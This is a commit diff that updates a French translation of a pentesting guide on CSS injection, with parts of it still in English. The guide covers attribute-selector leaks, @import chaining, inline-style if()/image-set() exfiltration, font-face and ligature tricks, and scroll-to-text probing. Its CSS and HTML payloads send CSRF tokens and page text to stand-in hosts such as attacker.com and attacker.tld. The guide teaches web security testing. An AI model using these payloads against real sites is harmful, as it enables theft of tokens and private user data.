Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md']

This commit is contained in:
Translator 2025-08-29 00:18:22 +00:00
parent 4a953e2a71
commit 079cc08d3d

View File

@ -6,7 +6,7 @@
### Sélecteur d'attribut
Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs `name` et `value` d'un élément `input`. Si l'attribut de valeur de l'élément d'entrée commence par un caractère spécifique, une ressource externe prédéfinie est chargée :
Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs `name` et `value` d'un élément `input`. Si l'attribut `value` de l'élément `input` commence par un caractère spécifique, une ressource externe prédéfinie est chargée :
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
Cependant, cette approche présente une limitation lorsqu'il s'agit d'éléments d'entrée cachés (`type="hidden"`) car les éléments cachés ne chargent pas les arrière-plans.
Cependant, cette approche présente une limitation lorsqu'il s'agit d'éléments input cachés (`type="hidden"`) car les éléments cachés ne chargent pas d'arrière-plans.
#### Contournement pour les éléments cachés
Pour contourner cette limitation, vous pouvez cibler un élément frère suivant en utilisant le combinatoire de frères généraux `~`. La règle CSS s'applique alors à tous les frères suivant l'élément d'entrée caché, ce qui entraîne le chargement de l'image d'arrière-plan :
Pour contourner cette limitation, vous pouvez cibler un élément frère suivant en utilisant le `~` general sibling combinator. La règle CSS s'applique alors à tous les siblings suivant l'élément input caché, provoquant le chargement de l'image d'arrière-plan :
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Un exemple pratique d'exploitation de cette technique est détaillé dans l'extrait de code fourni. Vous pouvez le voir [ici](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
Un exemple concret d'exploitation de cette technique est détaillé dans l'extrait de code fourni. Vous pouvez le consulter [ici](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Prérequis pour l'injection CSS
#### Prérequis pour CSS Injection
Pour que la technique d'injection CSS soit efficace, certaines conditions doivent être remplies :
Pour que la technique CSS Injection soit efficace, certaines conditions doivent être remplies :
1. **Longueur de la charge utile** : Le vecteur d'injection CSS doit prendre en charge des charges utiles suffisamment longues pour accueillir les sélecteurs conçus.
2. **Réévaluation CSS** : Vous devez avoir la capacité d'encadrer la page, ce qui est nécessaire pour déclencher la réévaluation du CSS avec des charges utiles nouvellement générées.
3. **Ressources externes** : La technique suppose la capacité d'utiliser des images hébergées à l'extérieur. Cela peut être restreint par la politique de sécurité de contenu (CSP) du site.
1. **Payload Length** : Le vecteur d'injection CSS doit accepter des payloads suffisamment longs pour contenir les sélecteurs conçus.
2. **CSS Re-evaluation** : Vous devez pouvoir mettre la page en iframe, ce qui est nécessaire pour déclencher la réévaluation du CSS avec des payloads nouvellement générés.
3. **External Resources** : La technique suppose la possibilité d'utiliser des images hébergées externement. Cela peut être restreint par la Content Security Policy (CSP) du site.
### Sélecteur d'attribut aveugle
### Blind Attribute Selector
Comme [**expliqué dans cet article**](https://portswigger.net/research/blind-css-exfiltration), il est possible de combiner les sélecteurs **`:has`** et **`:not`** pour identifier du contenu même à partir d'éléments aveugles. Cela est très utile lorsque vous n'avez aucune idée de ce qui se trouve à l'intérieur de la page web chargeant l'injection CSS.\
Il est également possible d'utiliser ces sélecteurs pour extraire des informations de plusieurs blocs du même type comme dans :
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
It's also possible to use those selectors to extract information from several block of the same type like in:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -52,59 +52,95 @@ background: url(/m);
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
```
Combiner cela avec la technique **@import** suivante permet d'exfiltrer beaucoup d'**info en utilisant l'injection CSS depuis des pages aveugles avec** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
La technique précédente a quelques inconvénients, vérifiez les prérequis. Vous devez soit être capable de **envoyer plusieurs liens à la victime**, soit être capable de **iframe la page vulnérable à l'injection CSS**.
La technique précédente présente quelques inconvénients, consultez les prérequis. Vous devez soit être capable de **send multiple links to the victim**, soit être capable d'**iframe the CSS injection vulnerable page**.
Cependant, il existe une autre technique astucieuse qui utilise **CSS `@import`** pour améliorer la qualité de la technique.
Cependant, il existe une autre technique astucieuse qui utilise **CSS `@import`** pour améliorer l'efficacité de la méthode.
Ceci a été d'abord montré par [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) et cela fonctionne comme suit :
Ceci a été présenté pour la première fois par [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) et fonctionne ainsi :
Au lieu de charger la même page encore et encore avec des dizaines de charges utiles différentes à chaque fois (comme dans la précédente), nous allons **charger la page juste une fois et juste avec un import vers le serveur de l'attaquant** (c'est la charge utile à envoyer à la victime) :
Au lieu de charger la même page plusieurs fois avec des dizaines de payloads différents à chaque fois (comme dans la méthode précédente), nous allons **charger la page une seule fois et uniquement avec un import vers le serveur de l'attaquant** (c'est le payload à envoyer à la victime) :
```css
@import url("//attacker.com:5001/start?");
```
1. L'importation va **recevoir un script CSS** des attaquants et le **navigateur va le charger**.
2. La première partie du script CSS que l'attaquant va envoyer est **un autre `@import` vers le serveur des attaquants à nouveau.**
1. Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons fuir quelques caractères puis répondre à cet import avec la charge utile pour fuir les suivants.
3. La deuxième et plus grande partie de la charge utile va être une **charge utile de fuite de sélecteur d'attribut**
1. Cela enverra au serveur des attaquants le **premier caractère du secret et le dernier.**
4. Une fois que le serveur des attaquants a reçu le **premier et le dernier caractère du secret**, il va **répondre à l'importation demandée à l'étape 2**.
1. La réponse va être exactement la même que les **étapes 2, 3 et 4**, mais cette fois-ci, elle essaiera de **trouver le deuxième caractère du secret puis l'avant-dernier**.
1. L'import va **receive some CSS script** des attaquants et le **browser will load it**.
2. La première partie du script CSS que l'attaquant enverra est **another `@import` to the attackers server again.**
1. Le serveur de l'attaquant ne répondra pas encore à cette requête, car nous voulons leak quelques caractères puis répondre à cet import avec le payload pour leak les suivants.
3. La deuxième et plus importante partie du payload sera un **attribute selector leakage payload**
1. Cela enverra au serveur de l'attaquant le **premier caractère du secret et le dernier**
4. Une fois que le serveur de l'attaquant a reçu le **premier et le dernier caractère du secret**, il **respond the import requested in the step 2**.
1. La réponse sera exactement la même que **les étapes 2, 3 et 4**, mais cette fois elle tentera de **trouver le deuxième caractère du secret puis l'avant-dernier**.
L'attaquant va **suivre cette boucle jusqu'à ce qu'il parvienne à fuir complètement le secret**.
L'attaquant suivra cette boucle jusqu'à ce qu'il parvienne à leak complètement le secret.
Vous pouvez trouver le [**code original de Pepe Vila pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](#css-injection)
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
> [!NOTE]
> Le script essaiera de découvrir 2 caractères à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme :
> [!TIP]
> Le script essaiera de découvrir 2 chars à chaque fois (depuis le début et depuis la fin) parce que l'attribute selector permet de faire des choses comme :
>
> ```css
> /* value^= pour correspondre au début de la valeur*/
> /* value^= to match the beggining of the value*/
> input[value^="0"] {
> --s0: url(http://localhost:5001/leak?pre=0);
> }
>
> /* value$= pour correspondre à la fin de la valeur*/
> /* value$= to match the ending of the value*/
> input[value$="f"] {
> --e0: url(http://localhost:5001/leak?post=f);
> }
> ```
>
> Cela permet au script de fuir le secret plus rapidement.
> Cela permet au script de leak le secret plus rapidement.
> [!WARNING]
> Parfois, le script **ne détecte pas correctement que le préfixe + suffixe découvert est déjà le drapeau complet** et il continuera en avant (dans le préfixe) et en arrière (dans le suffixe) et à un moment donné, il se bloquera.\
> Pas de soucis, vérifiez simplement la **sortie** car **vous pouvez voir le drapeau là**.
> Parfois le script **n'indique pas correctement que le préfixe + suffix découvert est déjà le flag complet** et il continuera vers l'avant (dans le préfixe) et vers l'arrière (dans le suffix) et à un moment donné il se bloquera.\
> Pas de soucis, vérifiez simplement la **output** parce que **vous pouvez voir le flag là**.
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
> [!WARNING]
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink : contrôler l'attribut style d'un élément et s'assurer que l'attribut ciblé est sur le même élément (attr() lit uniquement les attributs du même élément).
- Read : copier l'attribut dans une variable CSS : `--val: attr(title)`.
- Decide : sélectionner une URL en utilisant des conditionnels imbriqués comparant la variable avec des candidatures string : `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate : appliquer `background: image-set(var(--steal))` (ou toute propriété provoquant un fetch) pour forcer une requête vers l'endpoint choisi.
Attempt (does not work; single quotes in comparison):
```html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
```
Payload fonctionnel (les guillemets doubles sont requis dans la comparaison):
```html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
```
Énumération des valeurs d'attribut avec des conditions imbriquées:
```html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
```
Démo réaliste (sondage des noms d'utilisateur) :
```html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
```
Remarques et limitations :
- Fonctionne sur les navigateurs basés sur Chromium au moment de la recherche ; le comportement peut différer sur d'autres moteurs.
- Mieux adapté aux espaces de valeurs finis/énumérables (IDs, flags, petits noms d'utilisateur). Le vol de chaînes arbitrairement longues sans feuilles de style externes reste difficile.
- Toute propriété CSS qui récupère une URL peut être utilisée pour déclencher la requête (par ex. background/image-set, border-image, list-style, cursor, content).
Automatisation : a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
### Autres sélecteurs
Autres façons d'accéder aux parties du DOM avec **sélecteurs CSS** :
Autres façons d'accéder à des parties du DOM avec **CSS selectors** :
- **`.class-to-search:nth-child(2)`** : Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
- Sélecteur **`:empty`** : Utilisé par exemple dans [**ce rapport**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
- **`.class-to-search:nth-child(2)`** : Ceci cherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
- **`:empty`** sélecteur : Utilisé par exemple dans [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)** :**
```css
[role^="img"][aria-label="1"]:empty {
@ -114,9 +150,9 @@ background-image: url("YOUR_SERVER_URL?1");
### XS-Search basé sur les erreurs
**Référence :** [Attaque basée sur CSS : Abus de unicode-range de @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC XS-Search basé sur les erreurs par @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Référence :** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
L'intention générale est d'**utiliser une police personnalisée d'un point de terminaison contrôlé** et de s'assurer que **le texte (dans ce cas, 'A') est affiché avec cette police uniquement si la ressource spécifiée (`favicon.ico`) ne peut pas être chargée**.
L'intention générale est d'**utiliser une police personnalisée depuis un endpoint contrôlé** et de s'assurer que **le texte (dans ce cas, 'A') est affiché avec cette police uniquement si la ressource spécifiée (`favicon.ico`) ne peut pas être chargée**.
```html
<!DOCTYPE html>
<html>
@ -140,39 +176,39 @@ font-family: "poc";
```
1. **Utilisation de police personnalisée**:
- Une police personnalisée est définie à l'aide de la règle `@font-face` dans une balise `<style>` dans la section `<head>`.
- La police est nommée `poc` et est récupérée depuis un point de terminaison externe (`http://attacker.com/?leak`).
- Une police personnalisée est définie en utilisant la règle `@font-face` à l'intérieur d'une balise `<style>` dans la section `<head>`.
- La police s'appelle `poc` et est récupérée depuis un endpoint externe (`http://attacker.com/?leak`).
- La propriété `unicode-range` est définie sur `U+0041`, ciblant le caractère Unicode spécifique 'A'.
2. **Élément Object avec texte de secours** :
- Un élément `<object>` avec `id="poc0"` est créé dans la section `<body>`. Cet élément essaie de charger une ressource depuis `http://192.168.0.1/favicon.ico`.
- La `font-family` pour cet élément est définie sur `'poc'`, comme défini dans la section `<style>`.
- Si la ressource (`favicon.ico`) échoue à se charger, le contenu de secours (la lettre 'A') à l'intérieur de la balise `<object>` est affiché.
- Le contenu de secours ('A') sera rendu en utilisant la police personnalisée `poc` si la ressource externe ne peut pas être chargée.
2. **Élément <object> avec contenu de repli**:
- Un élément `<object>` avec `id="poc0"` est créé dans la section `<body>`. Cet élément tente de charger une ressource depuis `http://192.168.0.1/favicon.ico`.
- Le `font-family` de cet élément est défini sur `'poc'`, comme défini dans la section `<style>`.
- Si la ressource (`favicon.ico`) ne peut pas être chargée, le contenu de repli (la lettre 'A') à l'intérieur de la balise `<object>` est affiché.
- Le contenu de repli ('A') sera rendu en utilisant la police personnalisée `poc` si la ressource externe ne peut pas être chargée.
### Stylisation du fragment de texte défilant
### Styling Scroll-to-Text Fragment
La **pseudo-classe `:target`** est utilisée pour sélectionner un élément ciblé par un **fragment d'URL**, comme spécifié dans la [spécification des sélecteurs CSS Niveau 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Il est crucial de comprendre que `::target-text` ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
La pseudo-classe **:target** est employée pour sélectionner un élément ciblé par un **fragment d'URL**, comme spécifié dans la [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Il est crucial de comprendre que `::target-text` ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
Une préoccupation de sécurité surgit lorsque des attaquants exploitent la fonctionnalité **Scroll-to-text**, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode consiste à injecter une règle CSS comme ceci :
Une préoccupation de sécurité survient lorsque des attaquants exploitent la fonctionnalité **Scroll-to-text**, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via HTML injection. La méthode consiste à injecter une règle CSS comme ceci:
```css
:target::before {
content: url(target.png);
}
```
Dans de tels scénarios, si le texte "Administrator" est présent sur la page, la ressource `target.png` est demandée au serveur, indiquant la présence du texte. Une instance de cette attaque peut être exécutée via une URL spécialement conçue qui intègre le CSS injecté avec un fragment Scroll-to-text :
Dans de tels scénarios, si le texte "Administrateur" est présent sur la page, la ressource `target.png` est demandée au serveur, indiquant la présence du texte. Un exemple de cette attaque peut être exécuté via une URL spécialement conçue qui intègre le CSS injecté en même temps qu'un Scroll-to-text fragment :
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Ici, l'attaque manipule l'injection HTML pour transmettre le code CSS, visant le texte spécifique "Administrator" via le fragment Scroll-to-text (`#:~:text=Administrator`). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l'attaquant.
Ici, l'attaque manipule une injection HTML pour transmettre du code CSS, visant le texte spécifique "Administrator" via le Scroll-to-text fragment (`#:~:text=Administrator`). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l'attaquant.
Pour l'atténuation, les points suivants doivent être notés :
Pour atténuer ce risque, notez les points suivants :
1. **Correspondance STTF Contraignante** : Le fragment Scroll-to-text (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à divulguer des secrets ou des jetons arbitraires.
2. **Restriction aux Contextes de Navigation de Niveau Supérieur** : Le STTF fonctionne uniquement dans des contextes de navigation de niveau supérieur et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
3. **Nécessité d'une Activation par l'Utilisateur** : Le STTF nécessite un geste d'activation par l'utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont réalisables que par des navigations initiées par l'utilisateur. Cette exigence atténue considérablement le risque que des attaques soient automatisées sans interaction de l'utilisateur. Néanmoins, l'auteur du billet de blog souligne des conditions spécifiques et des contournements (par exemple, ingénierie sociale, interaction avec des extensions de navigateur courantes) qui pourraient faciliter l'automatisation de l'attaque.
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) est conçu pour ne faire correspondre que des mots ou des phrases, limitant ainsi sa capacité à leak des secrets arbitraires ou des tokens.
2. **Restriction to Top-level Browsing Contexts**: STTF fonctionne uniquement dans les contextes de navigation de niveau supérieur et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
3. **Necessity of User Activation**: STTF nécessite un geste d'activation utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont réalisables que via des navigations initiées par l'utilisateur. Cette exigence réduit considérablement le risque d'attaques automatisées sans interaction utilisateur. Néanmoins, l'auteur du billet de blog signale des conditions et des contournements spécifiques (par ex. social engineering, interaction avec des extensions de navigateur courantes) qui peuvent faciliter l'automatisation de l'attaque.
La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la sécurité web et se protéger contre de telles tactiques d'exploitation.
La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la sécurité web et se prémunir contre de telles tactiques d'exploitation.
Pour plus d'informations, consultez le rapport original : [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
@ -180,7 +216,7 @@ Vous pouvez consulter un [**exploit utilisant cette technique pour un CTF ici**]
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Vous pouvez spécifier **des polices externes pour des valeurs unicode spécifiques** qui ne seront **rassemblées que si ces valeurs unicode sont présentes** dans la page. Par exemple :
Vous pouvez spécifier **des polices externes pour des valeurs Unicode spécifiques** qui ne seront **récupérées que si ces valeurs Unicode sont présentes** dans la page. Par exemple:
```html
<style>
@font-face {
@ -206,24 +242,24 @@ font-family: poc;
<p id="sensitive-information">AB</p>
htm
```
Lorsque vous accédez à cette page, Chrome et Firefox récupèrent "?A" et "?B" car le nœud de texte de sensitive-information contient les caractères "A" et "B". Mais Chrome et Firefox ne récupèrent pas "?C" car il ne contient pas "C". Cela signifie que nous avons pu lire "A" et "B".
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
### Exfiltration de nœud de texte (I) : ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Référence :** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
**Reference:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
La technique décrite implique l'extraction de texte d'un nœud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus implique plusieurs étapes :
La technique décrite permet d'extraire le texte d'un nœud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus comporte plusieurs étapes :
1. **Création de polices personnalisées** :
- Des polices SVG sont créées avec des glyphes ayant un attribut `horiz-adv-x`, qui définit une grande largeur pour un glyphe représentant une séquence de deux caractères.
- Exemple de glyphe SVG : `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, où "XY" désigne une séquence de deux caractères.
- Ces polices sont ensuite converties au format woff à l'aide de fontforge.
- Des polices SVG sont créées avec des glyphs ayant un attribut `horiz-adv-x`, qui définit une grande largeur pour un glyphe représentant une séquence de deux caractères.
- Exemple de glyph SVG : `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, où "XY" désigne une séquence de deux caractères.
- Ces polices sont ensuite converties au format woff avec fontforge.
2. **Détection des changements de largeur** :
- CSS est utilisé pour s'assurer que le texte ne se renvoie pas (`white-space: nowrap`) et pour personnaliser le style de la barre de défilement.
- L'apparition d'une barre de défilement horizontale, stylisée de manière distincte, agit comme un indicateur (oracle) qu'une ligature spécifique, et donc une séquence de caractères spécifique, est présente dans le texte.
- Le CSS est utilisé pour empêcher le retour à la ligne (`white-space: nowrap`) et pour personnaliser le style de la barre de défilement.
- L'apparition d'une barre de défilement horizontale, stylisée de façon distincte, sert d'indicateur (oracle) qu'une ligature spécifique, et donc une séquence de caractères spécifique, est présente dans le texte.
- Le CSS impliqué :
```css
body {
@ -239,26 +275,26 @@ background: url(http://attacker.com/?leak);
3. **Processus d'exploitation** :
- **Étape 1** : Des polices sont créées pour des paires de caractères avec une largeur substantielle.
- **Étape 2** : Un truc basé sur la barre de défilement est utilisé pour détecter quand le glyphe de grande largeur (ligature pour une paire de caractères) est rendu, indiquant la présence de la séquence de caractères.
- **Étape 3** : Lors de la détection d'une ligature, de nouveaux glyphes représentant des séquences de trois caractères sont générés, incorporant la paire détectée et ajoutant un caractère précédent ou suivant.
- **Étape 4** : La détection de la ligature de trois caractères est effectuée.
- **Étape 5** : Le processus se répète, révélant progressivement tout le texte.
- **Étape 1** : Des polices sont créées pour des paires de caractères avec une largeur importante.
- **Étape 2** : Une astuce basée sur la barre de défilement est utilisée pour détecter quand le glyphe de grande largeur (ligature pour une paire de caractères) est rendu, indiquant la présence de la séquence de caractères.
- **Étape 3** : Dès la détection d'une ligature, de nouveaux glyphs représentant des séquences de trois caractères sont générés, incorporant la paire détectée et ajoutant un caractère précédent ou suivant.
- **Étape 4** : La détection de la ligature à trois caractères est effectuée.
- **Étape 5** : Le processus se répète, révélant progressivement l'intégralité du texte.
4. **Optimisation** :
- La méthode d'initialisation actuelle utilisant `<meta refresh=...` n'est pas optimale.
- Une approche plus efficace pourrait impliquer le truc CSS `@import`, améliorant les performances de l'exploitation.
- Une approche plus efficace pourrait utiliser le truc `@import` en CSS, améliorant les performances de l'exploit.
### Exfiltration de nœud de texte (II) : fuite du charset avec une police par défaut (ne nécessitant pas d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Référence :** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Ce truc a été publié dans ce [**fil Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Le charset utilisé dans un nœud de texte peut être divulgué **en utilisant les polices par défaut** installées dans le navigateur : aucune police externe -ou personnalisée- n'est nécessaire.
Cette astuce a été publiée dans ce [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Le charset utilisé dans un text node peut être leaked **en utilisant les polices par défaut** installées dans le navigateur : aucune police externe ou personnalisée n'est nécessaire.
Le concept repose sur l'utilisation d'une animation pour élargir progressivement la largeur d'un `div`, permettant à un caractère à la fois de passer de la partie 'suffixe' du texte à la partie 'préfixe'. Ce processus divise efficacement le texte en deux sections :
Le concept repose sur l'utilisation d'une animation pour élargir progressivement la largeur d'un `div`, permettant à un caractère à la fois de passer de la partie 'suffix' du texte à la partie 'prefix'. Ce processus divise efficacement le texte en deux sections :
1. **Préfixe** : La ligne initiale.
2. **Suffixe** : La ou les lignes suivantes.
1. **Prefix** : La ligne initiale.
2. **Suffix** : La/les ligne(s) suivante(s).
Les étapes de transition des caractères apparaîtraient comme suit :
@ -273,15 +309,15 @@ B
**CADB**
Au cours de cette transition, le **truc unicode-range** est utilisé pour identifier chaque nouveau caractère à mesure qu'il rejoint le préfixe. Cela est réalisé en changeant la police en Comic Sans, qui est notablement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette barre de défilement révèle indirectement la présence d'un nouveau caractère dans le préfixe.
Pendant cette transition, le **unicode-range trick** est utilisé pour identifier chaque nouveau caractère au fur et à mesure qu'il rejoint le prefix. Cela se fait en basculant la police vers Comic Sans, qui est nettement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette barre de défilement révèle indirectement la présence d'un nouveau caractère dans le prefix.
Bien que cette méthode permette la détection de caractères uniques à mesure qu'ils apparaissent, elle ne précise pas quel caractère est répété, seulement qu'une répétition a eu lieu.
Bien que cette méthode permette de détecter des caractères uniques lorsqu'ils apparaissent, elle ne précise pas quel caractère est répété, seulement qu'une répétition a eu lieu.
> [!NOTE]
> En gros, le **unicode-range est utilisé pour détecter un char**, mais comme nous ne voulons pas charger une police externe, nous devons trouver un autre moyen.\
> Lorsque le **char** est **trouvé**, il est **donné** à la police **Comic Sans préinstallée**, qui **rend** le char **plus grand** et **déclenche une barre de défilement** qui **fuit le char trouvé**.
> [!TIP]
> En gros, le **unicode-range** est utilisé pour détecter un char, mais comme nous ne voulons pas charger une police externe, nous devons trouver une autre manière.\
> Quand le **char** est **trouvé**, il se voit attribuer la police préinstallée **Comic Sans**, ce qui rend le char **plus grand** et **déclenche une barre de défilement** qui va **leak le char trouvé**.
Vérifiez le code extrait du PoC :
Check the code extracted from the PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
@ -706,17 +742,17 @@ div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Exfiltration de nœud de texte (III) : fuite du charset avec une police par défaut en cachant des éléments (ne nécessitant pas de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce rapport](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Référence :** Ceci est mentionné comme [une solution infructueuse dans ce writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre des **chars spécifiques plus grands que d'autres est de cacher quelque chose** comme un bouton pour ne pas être pressé par le bot ou une image qui ne sera pas chargée. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un char spécifique est présent dans le texte.
Ce cas est très similaire au précédent ; cependant, ici l'objectif de rendre certains **caractères plus grands que d'autres est de cacher quelque chose** comme un bouton pour qu'il ne soit pas pressé par le bot ou une image qui ne sera pas chargée. On peut donc mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent dans le texte.
### Exfiltration de nœud de texte (III) : fuite du charset par temporisation de cache (ne nécessitant pas de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce rapport](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Référence :** Ceci est mentionné comme [une solution infructueuse dans ce writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Dans ce cas, nous pourrions essayer de fuir si un char est dans le texte en chargeant une police factice de la même origine :
Dans ce cas, on peut essayer de leak si un caractère est dans le texte en chargeant une police factice depuis la même origine :
```css
@font-face {
font-family: "A1";
